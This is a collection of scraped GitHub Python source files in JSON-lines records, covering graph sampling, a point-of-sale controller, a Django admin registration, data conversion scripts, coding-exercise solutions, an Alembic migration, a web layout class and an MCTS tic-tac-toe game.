'node_{}'.format(node_ix)\n\t\t\tnode2parents[node_name] = parents\n\t\t\tordered_nodes.append(node_name)\n\t\tg = dict2graph(node2parents)\n\t\tif (not nx.algorithms.isolate.number_of_isolates(g)) and (max(map(len,node2parents.values()))>1): # Reject if any node is isolated (no incoming nor outgoing neighbors).\n\t\t\tbreak\n\treturn ordered_nodes,node2parents,g\n\n\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('save_dir', type=str, help='Path to the directory where sampled graphs are saved.')\n\tparser.add_argument('num_graphs', type=int, help='# of graphs to sample.')\n\tparser.add_argument('--num_nodes', type=int, default=5, help='# of nodes in the sampled graphs.')\n\tparser.add_argument('--seed', type=int, default=111, help='Random seed.')\n\targs = parser.parse_args()\n\t\t\n\tsample_graphs(args.num_nodes, args.num_graphs, args.save_dir, seed=args.seed)","repo_name":"tkc-morita/attention-based_analysis_of_animal_relations","sub_path":"simulation/generate_graphs_multiple_parents.py","file_name":"generate_graphs_multiple_parents.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"12793668732","text":"class DashController:\n def __init__(self, sale_model, inventory_model, purchase_model, udaro_model, view):\n self.sale_model = sale_model\n self.inventory_model = inventory_model\n self.purchase_model = purchase_model\n self.udaro_model = udaro_model\n self.view = view\n\n def sales_view(self):\n cols = self.sale_model.get_colnames()\n data = self.sale_model.get_allsales()\n self.view.create_treeview(cols, data)\n self.view.view_flag = 0\n\n\n\n def inventory_view(self):\n cols = self.inventory_model.get_colnames()\n data = self.inventory_model.get_allproducts()\n self.view.create_treeview(cols, data)\n self.view.view_flag = 1\n\n\n def purchase_view(self):\n cols = self.purchase_model.get_colnames()\n data = self.purchase_model.get_allpurchases()\n self.view.create_treeview(cols, data)\n self.view.view_flag = 2\n\n\n def udharo_view(self):\n cols = self.udaro_model.get_colnames()\n data = self.udaro_model.get_alludaro()\n self.view.create_treeview(cols, data)\n self.view.view_flag = 3\n\n\n def perform_update(self, cols, values, table):\n \n if table == 0:\n # which means sales table\n self.sale_model.update_by_date(values)\n self.sales_view()\n elif table == 1:\n # which means inventory table\n self.inventory_model.update_by_name(values)\n self.inventory_view()\n elif table == 2:\n # purchase table\n self.purchase_model.update_by_date(values)\n \n self.purchase_view()\n\n elif table == 3:\n self.udaro_model.update_by_date(values)\n \n self.udharo_view()\n else:\n print(\"error\")\n print(cols, values, table)\n\n\n\n def delete_record(self, record, table):\n if table == 0:\n # which means sales table\n self.sale_model.delete_by_date(record[0])\n self.sales_view()\n elif table == 1:\n # which means inventory table\n self.inventory_model.delete_by_name(record[0])\n self.inventory_view()\n elif table == 2:\n # purchase table\n a = self.purchase_model.delete_by_date(record[0])\n if a:\n self.inventory_model.update_deleted(record[1], float(record[2])*float(record[3]))\n self.purchase_view()\n\n elif table == 3:\n self.udaro_model.delete_by_date(record[0])\n self.udharo_view()\n else:\n print(\"error\")\n","repo_name":"Manjil-Karki/pos","sub_path":"controllers/dash.py","file_name":"dash.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"35488905395","text":"from django.contrib import admin\n\nfrom .models import ManagementCommand\n\n\nclass ManagementCommandAdmin(admin.ModelAdmin):\n list_display = ['command', 'args', 'created_on', 'status', 'output']\n\n def get_form(self, request, obj=None, **kwargs):\n self.exclude = ['created_on', 'status', 'output']\n return super(ManagementCommandAdmin, self).get_form(request, obj, **kwargs)\n\n\nadmin.site.register(ManagementCommand, ManagementCommandAdmin)\n","repo_name":"ShahidTariq/DjangoRunCommands","sub_path":"django_run_command/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"68"}
+{"seq_id":"72567359575","text":"import pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport os, re\nfrom copy import deepcopy\nimport numpy as np\nfrom tensorboard.backend.event_processing import event_accumulator\nsns.set()\n\n# #加载日志数据\ndef smooth(datalist, weight:float=0.25, block:int = 500):\n new_datalist = []\n for item in datalist:\n new_datalist.append(deepcopy(weight * np.mean(datalist[max(datalist.index(item)-block, 0): datalist.index(item)]) + item*(1-weight)))\n return new_datalist\n\ndef main(dirpath:str='./runs/'):\n event_dir = dirpath\n df = pd.DataFrame()\n all_dir = os.listdir(event_dir)\n all_dir.sort()\n for file in all_dir:\n temp_df = pd.DataFrame()\n subdir = event_dir+file + '/'\n type = re.search(r'_[a-zA-Z]{2,4}\\d{0,2}', subdir).group(0)[1:]\n ea_name = [item for item in os.listdir(subdir) if re.match(r'events*', item) is not None][0]\n ea=event_accumulator.EventAccumulator(subdir + ea_name).Reload().scalars\n key_dir = ea.Keys()\n temp_df['step'] = [item.step for item in ea.Items(key_dir[0])]\n for key in key_dir[:8]:\n temp_df[key] = [item.value for item in ea.Items(key)]\n temp_df['method'] = type\n temp_df['Number of edge devices'] = ea.Items(key_dir[-1])[0].value\n df = pd.concat([df, temp_df])\n #save file\n df.to_csv('./data/saved.csv')\nmain()","repo_name":"XiaoWangya/protocol_learning_with_MADRL","sub_path":"data_save.py","file_name":"data_save.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"40693466289","text":"import re\nclass Bob(object):\n\tdef __init__(self):\n\t\tpass\n\tdef hey(self,string):\n\n\t\tallUpper = re.compile(r'^[\\[A-Z]\\d\\s]+$')\n\t\tdigitAndPunc = re.compile(r'^[\\d]+$')\n\t\tif string.strip() == \"\":\n\t\t\treturn \"Fine. Be that way!\"\n\n\t\telif digitAndPunc.match(''.join(e for e in string if e.isalnum())):\n\t\t\tif string[-1] == \"?\":\n\t\t\t\treturn \"Sure.\"\n\t\t\telse:\n\t\t\t\treturn \"Whatever.\"\n\n\t\telif allUpper.match(''.join(e for e in string if e.isalnum())) or string.upper() == string:\n\t\t\treturn 'Woah, chill out!'\n\n\t\telif string[-1] == \"?\":\n\t\t\treturn \"Sure.\"\n\n\t\telse:\n\t\t\treturn \"Whatever.\"\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/bob/147eb7777fbf48359b771b8db0ce054f.py","file_name":"147eb7777fbf48359b771b8db0ce054f.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"}
+{"seq_id":"22594194152","text":"class Solution:\n def letterCasePermutation(self, S):\n \"\"\"\n :type S: str\n :rtype: List[str]\n \"\"\"\n ans = [[]]\n\n for char in S:\n n = len(ans)\n\n if char.isalpha():\n for i in range(n):\n ans.append(ans[i][:])\n ans[i].append(char.lower())\n ans[n+i].append(char.upper())\n else:\n for i in range(n):\n ans[i].append(char)\n\n\n ans2 = []\n for i in range(len(ans)):\n ans2.append(\"\".join(ans[i]))\n\n return ans2\n\n def letterCasePermutation2(self, S):\n\n ans = [\"\"]\n\n for char in S:\n if char.isalpha():\n for i in range(len(ans)):\n ans.append(ans[i]+char.upper())\n ans[i] += char.lower()\n else:\n for i in range(len(ans)):\n ans[i] +=char\n return ans\n\n","repo_name":"yukiii-zhong/Leetcode","sub_path":"Array/src/784. Letter Case Permutation.py","file_name":"784. Letter Case Permutation.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"12656354867","text":"\"\"\"Initial Migration\n\nRevision ID: 687b57a0f5e9\nRevises: 2397abc31fe8\nCreate Date: 2021-08-17 17:21:46.123521\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '687b57a0f5e9'\ndown_revision = '2397abc31fe8'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('pitches',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(length=255), nullable=False),\n sa.Column('post', sa.Text(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('time', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('comments',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('comment', sa.Text(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('pitch_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['pitch_id'], ['pitches.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('downvotes',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('pitch_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['pitch_id'], ['pitches.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('upvotes',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('pitch_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['pitch_id'], ['pitches.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.drop_column('users', 'secure_password')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('secure_password', sa.VARCHAR(length=255), autoincrement=False, nullable=True))\n op.drop_table('upvotes')\n op.drop_table('downvotes')\n op.drop_table('comments')\n op.drop_table('pitches')\n # ### end Alembic commands ###\n","repo_name":"OscarMugendi/Pitch-App","sub_path":"migrations/versions/687b57a0f5e9_initial_migration.py","file_name":"687b57a0f5e9_initial_migration.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"11572344178","text":"import uproot4\nimport numpy as np\nimport pandas as pd\nimport concurrent.futures\n\n# TODO: not a method! (still specific script)\n\n\ndef convert_root_file_to_parquet(root_path, tree_name, branches, parq_path):\n\n ccup9_2015_file = r\"D:\\GoogleDrive\\Job\\cern\\Alice\\analysis\\data\\RhoPrime\\2015\\4Prongs2015o_withZDCTimes.root\"\n\n tree_name = \"4Prongs/events\"\n\n executor = concurrent.futures.ThreadPoolExecutor()\n\n branches = [\n \"T_Px\",\n \"T_Py\",\n \"T_Pz\",\n \"T_Q\",\n \"T_NumberOfSigmaTPCPion\",\n \"T_TPCRefit\",\n \"T_TPCNCls\",\n \"T_Phi\",\n \"T_Eta\",\n \"T_HasPointOnITSLayer0\",\n \"T_HasPointOnITSLayer1\",\n \"T_ITSModuleInner\",\n \"T_ITSModuleOuter\",\n ]\n\n evColumns = [\n \"RunNum\",\n \"PeriodNumber\",\n \"OrbitNumber\",\n \"BunchCrossNumber\",\n \"Mass\",\n \"Pt\",\n \"Q\",\n \"Rapidity\",\n \"Phi\",\n \"ZNAenergy\",\n \"ZNCenergy\",\n \"ZPAenergy\",\n \"ZPCenergy\",\n \"VtxX\",\n \"VtxY\",\n \"VtxZ\",\n \"VtxContrib\",\n \"VtxChi2\",\n \"VtxNDF\",\n \"SpdVtxX\",\n \"SpdVtxY\",\n \"SpdVtxZ\",\n \"SpdVtxContrib\",\n \"V0Adecision\",\n \"V0Cdecision\",\n \"ADAdecision\",\n \"ADCdecision\",\n \"V0Afired\",\n \"V0Cfired\",\n \"ADAfired\",\n \"ADCfired\",\n \"STPfired\",\n \"SMBfired\",\n \"SM2fired\",\n \"SH1fired\",\n \"OM2fired\",\n \"OMUfired\",\n \"IsTriggered\",\n \"nTracklets\",\n \"nTracks\",\n \"ZDCAtime_0\",\n \"ZDCAtime_1\",\n \"ZDCAtime_2\",\n \"ZDCAtime_3\",\n \"ZDCCtime_0\",\n \"ZDCCtime_1\",\n \"ZDCCtime_2\",\n \"ZDCCtime_3\",\n ]\n\n events = uproot4.open(\n ccup9_2015_file,\n object_cache=5000,\n num_workers=12,\n interpretation_executor=executor,\n )[tree_name]\n\n data_tracks = events.arrays(\n filter_name=branches, library=\"pd\", array_cache=5000\n ) # , entry_stop=1000000)\n data_tracks.to_parquet(\n r\"D:\\GoogleDrive\\Job\\cern\\Alice\\analysis\\data\\RhoPrime\\2015\\4Prongs2015oTracks.parquet\"\n )\n data_events = events.arrays(filter_name=evColumns, library=\"pd\")\n chips = events.arrays(filter_name=[\"FORChip\"], library=\"pd\")\n chips = chips.groupby(\"entry\").FORChip.apply(list)\n data_events[\"FORChip\"] = chips\n data_events.to_parquet(\n r\"D:\\GoogleDrive\\Job\\cern\\Alice\\analysis\\data\\RhoPrime\\2015\\4Prongs2015oEvents.parquet\"\n )\n\n\nif __name__ == \"__main__\":\n convert_root_file_to_parquet(\"\", \"\", \"\", \"\")\n","repo_name":"bdrum/cern-physics","sub_path":"notebooks/FourTracks/data/format/convert_to_parquet.py","file_name":"convert_to_parquet.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"30317775955","text":"from network.network import (get_number_of_activated_antenna,\n can_antenna_be_turned_on,\n turn_off_antenna,\n turn_on_antenna)\n\ndef _flip_coin(random):\n return random.random() < 0.5\n\ndef create_new_network(network, box_size, random):\n number_of_square = box_size * box_size\n for antenna in range(number_of_square):\n if can_antenna_be_turned_on(antenna, network, box_size) and _flip_coin(random):\n network = turn_on_antenna(antenna, network)\n else:\n network = turn_off_antenna(antenna, network)\n return network\n\n\ndef get_pseudo_random_networks(box_size, random):\n network = 0\n while True:\n network = create_new_network(network, box_size, random)\n yield network\n\ndef get_random_networks(box_size, random):\n time_between_sample = 20\n for i, network in enumerate(get_pseudo_random_networks(box_size, random), 1):\n if i % time_between_sample == 0:\n yield network\n\n\ndef estimate_number_of_activated_antenna(n, box_size, random):\n estimate = 0\n for _, network in zip(range(n), get_random_networks(box_size, random)):\n estimate += get_number_of_activated_antenna(network)\n return estimate / n\n","repo_name":"didiercrunch/simulationexam","sub_path":"network/gibbs.py","file_name":"gibbs.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"34501788451","text":"from hashlib import md5\nfrom flask import render_template\n\nclass Layout:\n\n templates = [\n 'tab',\n 'column', # can settings column size\n 'modal',\n 'blank'\n ]\n\n template = 'blank'\n #\n # def __repr__(self):\n # return 'template: {}'.format(self.template)\n\n def __init__(self, template, layout, name = None):\n self.layouts = layout\n self.template = template\n self.asyncButtons = []\n self.modal = None\n self.modalLayouts = []\n self.templateSlug = None\n\n @classmethod\n def addLayout(cls, template, layout):\n if not isinstance(layout, list):\n layout = [layout]\n return cls(template, layout)\n\n def render(self, layouts, **kwargs):\n return render_template('layouts/{}.html'.format(self.template),\n forms = layouts,\n asyncButtons = self.asyncButtons,\n modal = self.modal,\n templateSlug = self.templateSlug,\n layout = self)\n\n def addAsyncButton(self, button):\n self.asyncButtons.append(button)\n return self\n\n def setModal(self, modal):\n self.modal = modal\n self.templateSlug = md5(modal.encode('utf-8')).hexdigest()\n return self\n\n def build(self, query, asyncLoad = False):\n if asyncLoad:\n self.template = 'blank'\n layouts = self.buildView(query, self.layouts)\n return self.render(layouts)\n\n def buildView(self, query, layouts):\n _layouts = []\n\n for layout in layouts:\n if isinstance(layout, Layout):\n if layout.template == 'modals':\n self.modalLayouts.append(layout)\n _layouts.append(layout.build(query))\n continue\n if callable(layout):\n layout = layout()\n layout.setRepository(query)\n _layouts.append(layout)\n\n return _layouts\n\n def getModals(self):\n return self.modalLayouts\n\n def filter(self, name):\n _layout = None\n for layout in self.layouts:\n if isinstance(layout, Layout):\n _layout = layout.filter(name)\n continue\n if layout.name == name:\n _layout = layout\n break\n return _layout\n\n\n def buildOrPrint(self, data):\n if isinstance(data, str):\n return data\n else:\n return data.build()\n","repo_name":"algha/tarim","sub_path":"tarim/app/modules/admin/core/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"68"}
+{"seq_id":"18443669287","text":"\"\"\"\r\n Title: The end_value objective function\r\n Description: The objective function for calculating the x end point\r\n Author: Janzen Choi\r\n\r\n\"\"\"\r\n\r\n# Libraries\r\nfrom moga_neml.errors.__error__ import __Error__\r\n\r\n# The X End class\r\nclass Error(__Error__):\r\n \r\n def initialise(self, factor:float=10):\r\n \"\"\"\r\n Runs at the start, once\r\n\r\n Parameters:\r\n * `factor`: The factor to penalise for unconservative predictions\r\n \"\"\"\r\n x_list = self.get_x_data()\r\n self.factor = factor\r\n self.exp_x_end = x_list[-1]\r\n\r\n def get_value(self, prd_data:dict) -> float:\r\n \"\"\"\r\n Computing the NRMSE\r\n\r\n Parameters:\r\n * `prd_data`: The predicted data\r\n\r\n Returns the error\r\n \"\"\"\r\n x_label = self.get_x_label()\r\n prd_end_value = prd_data[x_label][-1]\r\n error = abs((prd_end_value - self.exp_x_end) / self.exp_x_end)\r\n if self.exp_x_end < prd_end_value:\r\n return error * self.factor\r\n return error","repo_name":"ACME-MG/calibrate","sub_path":"moga_neml/errors/end_cons.py","file_name":"end_cons.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"29873145856","text":"\r\nfrom threading import RLock\r\n\r\nimport settings\r\nimport managers\r\n\r\nfrom logs import log\r\nfrom utils.properties import lazy, weak, constant, roproperty, rwproperty\r\nfrom utils import verificators\r\n\r\nfrom ..constants import NON_CONTAINER, CONTAINER, TOP_CONTAINER, RENDER_CONTEXT\r\nfrom ..generic import MemoryBase\r\nfrom ..empties import ChangeEmptyError, EmptySet\r\n\r\nfrom .attributes import MemoryAttributesSketch\r\nfrom .actions import MemoryActions\r\nfrom .events import MemoryEvents\r\nfrom .bindings import MemoryBindings\r\nfrom .structure import MemoryStructureSketch, MemoryStructure\r\n\r\n\r\n@weak(\"_collection\", \"_parent\", \"_application\")\r\nclass MemoryObjectSketch(MemoryBase):\r\n\r\n is_object = constant(True)\r\n\r\n is_non_container = property(lambda self: self._type.container == NON_CONTAINER)\r\n is_container = property(lambda self: CONTAINER <= self._type.container <= TOP_CONTAINER)\r\n is_top_container = property(lambda self: self._type.container == TOP_CONTAINER)\r\n\r\n _restore = False\r\n\r\n generic = RENDER_CONTEXT,\r\n\r\n @lazy\r\n def _primary(self):\r\n if self._virtual:\r\n result = self\r\n while result._parent and result._parent.virtual:\r\n result = result._parent\r\n return result\r\n else:\r\n return self._application\r\n\r\n @lazy\r\n def _bindings(self):\r\n return MemoryBindings(self)\r\n\r\n @lazy\r\n def _structure(self):\r\n return None if self._parent or self._virtual else MemoryStructureSketch(self)\r\n\r\n _order = None\r\n _id = None\r\n _name = None\r\n _original_name = None\r\n\r\n _dependents = EmptySet()\r\n\r\n def __init__(self, collection, type, application, parent, virtual=False, attributes=None):\r\n self._collection = collection\r\n self._virtual = virtual\r\n self._application = application\r\n self._parent = parent\r\n\r\n # initialize lock\r\n if parent:\r\n if virtual == parent.virtual:\r\n self._lock = parent.lock\r\n else:\r\n self._lock = RLock()\r\n else:\r\n self._lock = application.lock\r\n\r\n # generic characteristics\r\n self._type = type\r\n\r\n # collections\r\n self._attributes = MemoryAttributesSketch(self, values=attributes)\r\n self._objects = MemoryObjects(self)\r\n self._events = MemoryEvents(self)\r\n self._actions = MemoryActions(self)\r\n\r\n # internal\r\n self._classes = {}\r\n\r\n # lock = property(lambda self: self._application.lock)\r\n lock = roproperty(\"_lock\")\r\n order = rwproperty(\"_order\")\r\n is_virtual = virtual = roproperty(\"_virtual\")\r\n application = rwproperty(\"_application\")\r\n container = property(lambda self: self._parent.container if self._parent else self)\r\n parent = rwproperty(\"_parent\")\r\n primary = roproperty(\"_primary\")\r\n\r\n type = rwproperty(\"_type\")\r\n id = rwproperty(\"_id\")\r\n name = rwproperty(\"_name\")\r\n original_name = roproperty(\"_original_name\")\r\n\r\n attributes = roproperty(\"_attributes\")\r\n objects = roproperty(\"_objects\")\r\n events = roproperty(\"_events\")\r\n actions = roproperty(\"_actions\")\r\n bindings = roproperty(\"_bindings\")\r\n\r\n structure = roproperty(\"_structure\")\r\n\r\n stateful = property(lambda self: int(self._attributes.get(\"stateful\", 0)))\r\n hierarchy = property(lambda self: int(self._attributes.get(\"hierarchy\", 0)))\r\n\r\n def select(self, name, *names):\r\n if self._name == name:\r\n return self._objects.select(*names)\r\n else:\r\n return None\r\n\r\n def select_original(self, name, *names):\r\n if self._original_name or self._name == name:\r\n return self._objects.select(*names)\r\n else:\r\n return None\r\n\r\n def __invert__(self):\r\n ~self._attributes\r\n if self.__dict__.get(\"_structure\") is not None:\r\n ~self._structure\r\n\r\n restore = self._restore\r\n self.__class__ = MemoryObject\r\n self._collection.on_complete(self, restore)\r\n if not restore:\r\n managers.dispatcher.dispatch_handler(self, \"on_create\")\r\n if self._parent and self._virtual == self._parent.virtual:\r\n self._parent.invalidate(upward=True)\r\n self.autosave()\r\n return self\r\n\r\n def __str__(self):\r\n return \" \".join(filter(None, (\r\n \"virtual\" if getattr(self, \"_virtual\", None) else None,\r\n \"object\",\r\n \":\".join(filter(None, (getattr(self, \"_id\", None), getattr(self, \"_name\", None)))),\r\n \"sketch\")))\r\n\r\n\r\nclass MemoryObjectRestorationSketch(MemoryObjectSketch):\r\n\r\n _restore = True\r\n\r\n\r\nclass MemoryObjectDuplicationSketch(MemoryObjectSketch):\r\n\r\n def __init__(self, collection, application, parent, another):\r\n super(MemoryObjectDuplicationSketch, self).__init__(collection,\r\n another.type, application, parent,\r\n virtual=parent.virtual if parent else False,\r\n attributes=another.attributes)\r\n\r\n\r\nclass MemoryObjectGhost(MemoryBase):\r\n\r\n def __str__(self):\r\n return \" \".join(filter(None, (\r\n \"obsolete\",\r\n \"virtual\" if self._virtual else None,\r\n \"object\",\r\n \":\".join(filter(None, (self._id, self._name))))))\r\n\r\n\r\nclass MemoryObject(MemoryObjectSketch):\r\n\r\n @lazy\r\n def _structure(self):\r\n return None if self._parent or self._virtual else MemoryStructure(self)\r\n\r\n def __init__(self):\r\n raise Exception(u\"Use 'new' to create new object\")\r\n\r\n def _set_name(self, value):\r\n if self._name == value:\r\n return\r\n\r\n if not verificators.name(value):\r\n raise Exception(\"Invalid name: %r\" % value)\r\n\r\n with self.lock:\r\n self._collection.on_rename(self, value)\r\n managers.dispatcher.dispatch_handler(self, \"on_rename\", value)\r\n self._name = value\r\n self.invalidate(upward=True)\r\n self.autosave()\r\n\r\n type = roproperty(\"_type\")\r\n id = roproperty(\"_id\")\r\n name = rwproperty(\"_name\", _set_name)\r\n\r\n # unsafe\r\n def compose(self, ident=u\"\", file=None, shorter=False, excess=False):\r\n information = u\"ID=\\\"%s\\\" Name=\\\"%s\\\" Type=\\\"%s\\\"\" % (self._id, self._name.encode(\"xml\"), self._type.id)\r\n if self._attributes or self._objects or self._actions:\r\n file.write(u\"%s\\n\" % ident)\r\n else:\r\n file.write(u\"%s\\n\" % (ident, information))\r\n\r\n def autosave(self):\r\n if not self._virtual:\r\n self._application.autosave()\r\n\r\n def invalidate(self, contexts=None, downward=False, upward=False):\r\n with self.lock:\r\n # cleanup compiled classes\r\n if \"_classes\" in self.__dict__:\r\n if contexts:\r\n if isinstance(contexts, basestring):\r\n if settings.DETAILED_LOGGING:\r\n log.write(\"Invalidate %s in %s context\" % (self, contexts))\r\n self._classes.pop(contexts, None)\r\n else:\r\n if settings.DETAILED_LOGGING:\r\n log.write(\"Invalidate %s in %s contexts\" % (self, \", \".join(contexts)))\r\n for context in contexts:\r\n self._classes.pop(context, None)\r\n else:\r\n if settings.DETAILED_LOGGING:\r\n log.write(\"Invalidate %s\" % self)\r\n self._classes = {}\r\n\r\n # NOTE: this can delete compiled e2vdom scripts\r\n # TODO: check necessity of resource invalidation\r\n # possible this must be done on object delete\r\n # NOTE: cleanup=False to avoid excessive file operations\r\n\r\n # cleanup resources\r\n managers.resource_manager.invalidate_resources(self._id, cleanup=False)\r\n\r\n # perform downward invalidation\r\n if downward:\r\n for child in self._objects.itervalues():\r\n child.invalidate(contexts=contexts, downward=True)\r\n\r\n # perform upward invalidation\r\n if upward:\r\n # NOTE: this can cause issues in case when\r\n # virtual objects will be stored between render\r\n # it may be worth adding a special attribute\r\n # that break invalidate chain for dynamic objects\r\n\r\n # validate only same (non-)virtual objects in chain\r\n if self._parent and self._virtual == self._parent.virtual:\r\n self._parent.invalidate(contexts=contexts, upward=True)\r\n for dependent in self._dependents:\r\n if settings.DETAILED_LOGGING:\r\n log.write(\"Invalidate %s dependent %s\" % (self, dependent))\r\n dependent.invalidate(contexts=contexts, upward=True)\r\n\r\n # update factory counter to indicate a change\r\n if self._factory_calls:\r\n self._factory_invalidates += 1\r\n\r\n def attach(self, object):\r\n with self.lock:\r\n try:\r\n self._dependents.add(object)\r\n except ChangeEmptyError:\r\n self._dependents = {object}\r\n\r\n def detach(self, object):\r\n with self.lock:\r\n self._dependents.remove(object)\r\n\r\n _factory_calls = 0\r\n _factory_invalidates = 0\r\n\r\n def factory(self, context, dynamic=None, mapping=None, probe=False):\r\n # we are busy\r\n managers.memory._operations += 1\r\n\r\n # check if already exists\r\n if dynamic is None:\r\n try:\r\n klass = self._classes[context]\r\n except KeyError:\r\n if probe:\r\n return None\r\n else:\r\n if dynamic <= klass._dynamic:\r\n return klass\r\n\r\n # remember invalidate count\r\n with self.lock:\r\n self._factory_calls += 1\r\n invalidates = self._factory_invalidates\r\n\r\n # start main loop\r\n while 1:\r\n try:\r\n new_klass = managers.compiler.compile(self, context, dynamic=dynamic, mapping=mapping)\r\n except BaseException:\r\n # just decrease calls counter on error\r\n with self.lock:\r\n self._factory_calls -= 1\r\n raise\r\n else:\r\n # on successfull compilation...\r\n with self.lock:\r\n if invalidates == self._factory_invalidates:\r\n # if has no changes\r\n if self._factory_calls > 1:\r\n # decrease calls counter\r\n self._factory_calls -= 1\r\n else:\r\n # or remove to free memory if no other calls\r\n del self._factory_calls\r\n self.__dict__.pop(\"_factory_invalidates\", None)\r\n\r\n # update klass if needed and return\r\n klass = self._classes.get(context)\r\n if klass is None or dynamic > klass._dynamic:\r\n self._classes[context] = klass = new_klass\r\n return klass\r\n else:\r\n # or just update stored value\r\n invalidates = self._factory_invalidates\r\n\r\n def __invert__(self):\r\n raise NotImplementedError\r\n\r\n def __str__(self):\r\n return \" \".join(filter(None, (\r\n \"virtual\" if self._virtual else None,\r\n \"object\",\r\n \":\".join(filter(None, (self._id, self._name))))))\r\n\r\n\r\nfrom .objects import MemoryObjects\r\n","repo_name":"VDOMBoxGroup/runtime2.0","sub_path":"sources/memory/application/object.py","file_name":"object.py","file_ext":"py","file_size_in_byte":12137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"29907480891","text":"from util import node\nfrom MCTS import MCTS\n\nmcts = MCTS()\n\ndef ai_play(board,ai_player):\n\troot = node(board,None,ai_player)\n\t# print(root.board_state)\n\tedge = mcts.monte_carlo_tree_search(root,0.5)\n\t# print(root.board_state)\n\tmcts.make_move(edge.move, ai_player, root.board_state)\n\treturn root.board_state\n\ndef printBoard(board):\n\tfor i in range(1,10):\n\t\tif i%3 ==0:\n\t\t\tif board[i-1] == -1:\n\t\t\t\tprint(\" \")\n\t\t\telif board[i-1] == 1:\n\t\t\t\tprint(\"X\")\n\t\t\telif board[i-1] == 0:\n\t\t\t\tprint(\"0\")\n\t\telse:\n\t\t\tif board[i-1] == -1:\n\t\t\t\tprint(\" \",end=\"|\")\n\t\t\telif board[i-1] == 1:\n\t\t\t\tprint(\"X\",end=\"|\")\n\t\t\telif board[i-1] == 0:\n\t\t\t\tprint(\"O\",end=\"|\")\n\n\nletter_map = {'X' : 1, 'O' : 0}\ntictacBoard = [-1, -1, -1, -1, -1, -1, -1, -1, -1]\nai_player = 'X' \nuser = 'O'\n\nprintBoard(tictacBoard)\nwhile True:\n\tplayer_input = int(input(\"Input Position: \"))\n\ttictacBoard[player_input-1] = letter_map[user]\n\tprintBoard(tictacBoard)\n\twin = mcts.check_win(tictacBoard)\n\tif win == 2:\n\t\tprint(\"its a draw\")\n\t\tbreak\n\telif win == 1:\n\t\tprint(\"X Won!!!\")\n\t\tbreak\n\telif win == 0:\n\t\tprint(\"O Won!!!\")\n\t\tbreak\n\t\n\ttictacBoard = ai_play(tictacBoard, letter_map[ai_player])\n\tprintBoard(tictacBoard)\n\twin = mcts.check_win(tictacBoard)\n\tif win == 2:\n\t\tprint(\"its a draw\")\n\t\tbreak\n\telif win == 1:\n\t\tprint(\"X Won!!!\")\n\t\tbreak\n\telif win == 0:\n\t\tprint(\"O Won!!!\")\n\t\tbreak","repo_name":"Abdullah10111993/MCTS","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
